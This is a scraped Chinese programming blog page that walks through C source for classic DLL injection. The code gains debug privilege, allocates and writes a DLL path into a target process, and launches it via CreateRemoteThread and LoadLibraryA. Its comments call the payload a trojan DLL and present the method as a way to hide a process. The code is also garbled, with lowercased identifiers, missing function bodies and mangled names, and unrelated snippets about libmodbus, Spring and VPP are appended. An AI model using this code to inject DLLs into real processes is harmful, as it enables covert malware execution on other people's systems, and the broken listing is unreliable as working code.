dll基本注入原始碼分析

2021-04-18 02:33:44 字數 2044 閱讀 8945

下面的源**將會對testdll.dll進行呼叫

這個乙個隱藏自己程序的基本方法

取得許可權並進行注入的思路是最重要的

#include "stdafx.h"

#include

//提公升到debug許可權

int enabledebugpriv(const char * name)

//獲得程序本地唯一id

if(!lookupprivilegevalue(null,name,&luid) )//乙個許可權對應的luid值

tp.privilegecount = 1;

tp.privileges[0].attributes = se_privilege_enabled;

tp.privileges[0].luid = luid;

//調整許可權

if(!adjusttokenprivileges(htoken,0,&tp,sizeof(token_privileges),null,null) )//呼叫adjusttokenprivileges對這個訪問令牌進行修改

return 0;

}bool injectdll(const char *dllfullpath, const dword dwremoteprocessid)

//開啟遠端執行緒

if( (hremoteprocess = openprocess( process_create_thread | //允許遠端建立執行緒

process_vm_operation | //允許遠端vm操作

process_vm_write,//允許遠端vm寫

false, dwremoteprocessid ) )== null )

char *pszlibfileremote;

//使用virtualallocex函式在遠端程序的記憶體位址空間分配dll檔名緩衝區

pszlibfileremote = (char *) virtualallocex( hremoteprocess, null, lstrlen(dllfullpath)+1,

mem_commit, page_readwrite);//在指定程序的虛擬空間保留或提交記憶體區域

if(pszlibfileremote == null)

//使用writeproces**emory函式將dll的路徑名複製到遠端程序的記憶體空間

if( writeproces**emory(hremoteprocess,

pszlibfileremote, (void *) dllfullpath, lstrlen(dllfullpath)+1, null) == 0)

//計算loadlibrarya的入口位址

pthread_start_routine pfnstartaddr = (pthread_start_routine)

getprocaddress(getmodulehandle(text("kernel32")), "loadlibrarya");

if(pfnstartaddr == null)

//ok,萬事俱備,我們通過建立遠端執行緒時的位址pfnstartaddr(實際上就是loadlibrarya的入口位址)

//和傳遞的引數pszlibfileremote(實際上是我們複製過去的木馬dll的全路徑檔名)在遠端程序內啟動我們的木馬dll:

//啟動遠端執行緒loadlibrarya,通過遠端執行緒呼叫使用者的dll檔案

handle hremotethread;

if( (hremotethread = createremotethread( hremoteprocess, null, 0,

pfnstartaddr, pszlibfileremote, 0, null) ) == null)

return true;

}int apientry winmain(hinstance hinstance,

hinstance hprevinstance,

lpstr     lpcmdline,

int       ncmdshow)

else

return 0;

}

libmodbus原始碼生成dll

開發環境 windows10,visual studio 2017 步驟 雙擊 libmodbus src win32 目錄下的 configure.js 檔案,執行該檔案 使用visual studio 2017開啟modbus 9.sln檔案,編譯release版本 編譯時可能會出現如下錯誤 l...

spring原始碼分析 spring原始碼分析

1.spring 執行原理 spring 啟動時讀取應用程式提供的 bean 配置資訊,並在 spring 容器中生成乙份相應的 bean 配置登錄檔,然後根據這張登錄檔例項化 bean,裝配好 bean 之間的依賴關係,為上 層應用提供準備就緒的執行環境。二 spring 原始碼分析 1.1spr...

思科VPP原始碼分析(dpo機制原始碼分析)

vpp的dpo機制跟路由緊密結合在一起。路由表查詢 ip4 lookup 的最後結果是乙個load balance t結構。該結構可以看做是乙個hash表,裡面包含了很多dpo,指向為下一步處理動作。每個dpo都是新增路由時的乙個path的結果。dpo標準型別有 dpo drop,dpo ip nu...